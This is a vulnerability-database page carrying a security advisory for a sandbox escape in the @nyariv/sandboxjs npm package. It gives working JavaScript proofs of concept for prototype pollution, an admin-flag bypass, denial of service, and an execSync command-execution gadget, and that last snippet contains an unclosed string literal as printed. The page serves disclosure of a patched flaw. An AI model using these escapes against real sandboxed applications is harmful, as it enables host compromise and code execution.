GHSA-JJPW-65FV-8G48

Vulnerability from github – Published: 2026-02-05 21:04 – Updated: 2026-02-06 21:42
VLAI?
Summary
@nyariv/sandboxjs has Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution
Details

Summary

A sandbox escape is possible by shadowing hasOwnProperty on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to __proto__ and other blocked prototype properties, enabling host Object.prototype pollution and persistent cross-sandbox impact.

The issue was reproducible on Node v23.9.0 using the project’s current build output. The bypass works with default Sandbox configuration and does not require custom globals or whitelists.

Root Cause

prototypeAccess uses a.hasOwnProperty(b) directly, which can be attacker‑controlled if the sandboxed object shadows hasOwnProperty. When this returns true, the whitelist checks are skipped.

  • src/executor.ts:348 const prototypeAccess = isFunction || !(a.hasOwnProperty(b) || typeof b === 'number');

image

image

image

Proofs of Concept

node node_modules/typescript/bin/tsc --project tsconfig.json --outDir build --declaration node node_modules/rollup/dist/bin/rollup -c Runtime target: dist/node/Sandbox.js

### Baseline: __proto__ blocked without bypass

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
try {
  const res = sandbox.compile(`return ({}).__proto__`)().run();
  console.log('res', res);
} catch (e) {
  console.log('error', e && e.message);
}

image

Prototype whitelist bypass -> host Object.prototype pollution

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
const code = `
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.polluted = 'pwned';
  return 'done';
`;

sandbox.compile(code)().run();

console.log('polluted' in ({}), ({}).polluted);

image

Logic bypass via prototype pollution

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();

sandbox.compile(`
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.isAdmin = true;
  return 'ok';
`)().run();

console.log('isAdmin', ({}).isAdmin === true);

image

DoS by overriding Object.prototype.toString

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();

sandbox.compile(`
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.toString = function () { throw new Error('aaaaaaa'); };
  return 'ok';
`)().run();

try {
  String({});
} catch (e) {
  console.log('error', e.message);
}

image

RCE via host gadget (prototype pollution -> execSync)

image

const Sandbox = require('./dist/node/Sandbox.js').default;
const { execSync } = require('child_process');

const sandbox = new Sandbox();

sandbox.compile(`
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.cmd = 'id;
  return 'ok';
`)().run();

const obj = {}; // typical innocent object
const out = execSync(obj.cmd, { encoding: 'utf8' }).trim();
console.log(out);

Additional Finding : Prototype mutation via intermediate reference

This does not require the hasOwnProperty bypass. Some prototypes can be reached via allowed static access ([].constructor.prototype) and then mutated via a local variable, which bypasses isGlobal checks.

Mutate Array.prototype.filter without bypass

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();

sandbox.compile(`const p = [].constructor.prototype; p.filter = 1; return 'ok';`)().run();

console.log('host filter', [1,2].filter);

Output:

host filter 1
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.28"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@nyariv/sandboxjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.29"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25586"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-05T21:04:58Z",
    "nvd_published_at": "2026-02-06T20:16:10Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\nA sandbox escape is possible by shadowing `hasOwnProperty` on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to `__proto__` and other blocked prototype properties, enabling **host `Object.prototype` pollution** and persistent cross-sandbox impact.\n\nThe issue was reproducible on Node `v23.9.0` using the project\u2019s current build output. The bypass works with default `Sandbox` configuration and does not require custom globals or whitelists.\n\n## Root Cause\n`prototypeAccess` uses `a.hasOwnProperty(b)` directly, which can be attacker\u2011controlled if the sandboxed object shadows `hasOwnProperty`. When this returns `true`, the whitelist checks are skipped.\n\n- [src/executor.ts:348](https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L348)  `const prototypeAccess = isFunction || !(a.hasOwnProperty(b) || typeof b === \u0027number\u0027);`\n\n\u003cimg width=\"1030\" height=\"593\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0fa0807e-81cc-45b5-be13-bd839c974a4f\" /\u003e\n\n- [src/executor.ts:367-399](https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L367) prototype whitelist enforcement only happens when `prototypeAccess` is true.\n\n\u003cimg width=\"929\" height=\"345\" alt=\"image\" src=\"https://github.com/user-attachments/assets/27cff24d-b892-4d56-9f59-1e5fd32ef471\" /\u003e\n\n- [src/executor.ts:220-233](https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L220) mutation guard uses `obj.context.hasOwnProperty(...)`, also bypassable via shadowing.\n\n\u003cimg width=\"769\" height=\"332\" alt=\"image\" src=\"https://github.com/user-attachments/assets/52fbb962-6ff0-4607-90a8-79fc3a50c897\" /\u003e\n\n\n## Proofs of Concept\n `node node_modules/typescript/bin/tsc --project tsconfig.json --outDir build --declaration`\n `node node_modules/rollup/dist/bin/rollup -c`\n Runtime target: `dist/node/Sandbox.js`\n \n ### Baseline: `__proto__` blocked without bypass\n```js\nconst Sandbox = require(\u0027./dist/node/Sandbox.js\u0027).default;\nconst sandbox = new Sandbox();\ntry {\n  const res = sandbox.compile(`return ({}).__proto__`)().run();\n  console.log(\u0027res\u0027, res);\n} catch (e) {\n  console.log(\u0027error\u0027, e \u0026\u0026 e.message);\n}\n```\n\u003cimg width=\"734\" height=\"65\" alt=\"image\" src=\"https://github.com/user-attachments/assets/bdbbbe8b-5667-46e4-b4b5-ff4693764ef9\" /\u003e\n\n### Prototype whitelist bypass -\u003e host `Object.prototype` pollution\n```js\nconst Sandbox = require(\u0027./dist/node/Sandbox.js\u0027).default;\nconst sandbox = new Sandbox();\nconst code = `\n  const o = { hasOwnProperty: () =\u003e true };\n  const proto = o.__proto__;\n  proto.polluted = \u0027pwned\u0027;\n  return \u0027done\u0027;\n`;\n\nsandbox.compile(code)().run();\n\nconsole.log(\u0027polluted\u0027 in ({}), ({}).polluted);\n```\n\u003cimg width=\"549\" height=\"95\" alt=\"image\" src=\"https://github.com/user-attachments/assets/83471777-ee8e-4140-b702-9a575335fd30\" /\u003e\n\n\n### Logic bypass via prototype pollution\n```js\nconst Sandbox = require(\u0027./dist/node/Sandbox.js\u0027).default;\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n  const o = { hasOwnProperty: () =\u003e true };\n  const proto = o.__proto__;\n  proto.isAdmin = true;\n  return \u0027ok\u0027;\n`)().run();\n\nconsole.log(\u0027isAdmin\u0027, ({}).isAdmin === true);\n```\n\u003cimg width=\"527\" height=\"83\" alt=\"image\" src=\"https://github.com/user-attachments/assets/772bb111-d3e6-4f81-8142-80228e579b57\" /\u003e\n\n### DoS by overriding `Object.prototype.toString`\n```js\nconst Sandbox = require(\u0027./dist/node/Sandbox.js\u0027).default;\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n  const o = { hasOwnProperty: () =\u003e true };\n  const proto = o.__proto__;\n  proto.toString = function () { throw new Error(\u0027aaaaaaa\u0027); };\n  return \u0027ok\u0027;\n`)().run();\n\ntry {\n  String({});\n} catch (e) {\n  console.log(\u0027error\u0027, e.message);\n}\n```\n\u003cimg width=\"500\" height=\"147\" alt=\"image\" src=\"https://github.com/user-attachments/assets/eb5bff1b-ebe7-470a-abe6-d836de85ad41\" /\u003e\n\n### RCE via host gadget (prototype pollution -\u003e `execSync`)\n\n\u003cimg width=\"737\" height=\"143\" alt=\"image\" src=\"https://github.com/user-attachments/assets/952ba404-573f-4cb7-9b70-f3294ea19b40\" /\u003e\n\n\n```js\nconst Sandbox = require(\u0027./dist/node/Sandbox.js\u0027).default;\nconst { execSync } = require(\u0027child_process\u0027);\n\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n  const o = { hasOwnProperty: () =\u003e true };\n  const proto = o.__proto__;\n  proto.cmd = \u0027id;\n  return \u0027ok\u0027;\n`)().run();\n\nconst obj = {}; // typical innocent object\nconst out = execSync(obj.cmd, { encoding: \u0027utf8\u0027 }).trim();\nconsole.log(out);\n```\n\n\n## Additional Finding : Prototype mutation via intermediate reference\nThis does **not** require the `hasOwnProperty` bypass. Some prototypes can be reached via allowed static access (`[].constructor.prototype`) and then mutated via a local variable, which bypasses `isGlobal` checks.\n### Mutate `Array.prototype.filter` without bypass\n```js\nconst Sandbox = require(\u0027./dist/node/Sandbox.js\u0027).default;\nconst sandbox = new Sandbox();\n\nsandbox.compile(`const p = [].constructor.prototype; p.filter = 1; return \u0027ok\u0027;`)().run();\n\nconsole.log(\u0027host filter\u0027, [1,2].filter);\n```\n**Output:**\n```\nhost filter 1\n```",
  "id": "GHSA-jjpw-65fv-8g48",
  "modified": "2026-02-06T21:42:50Z",
  "published": "2026-02-05T21:04:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-jjpw-65fv-8g48"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25586"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nyariv/SandboxJS"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@nyariv/sandboxjs has Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…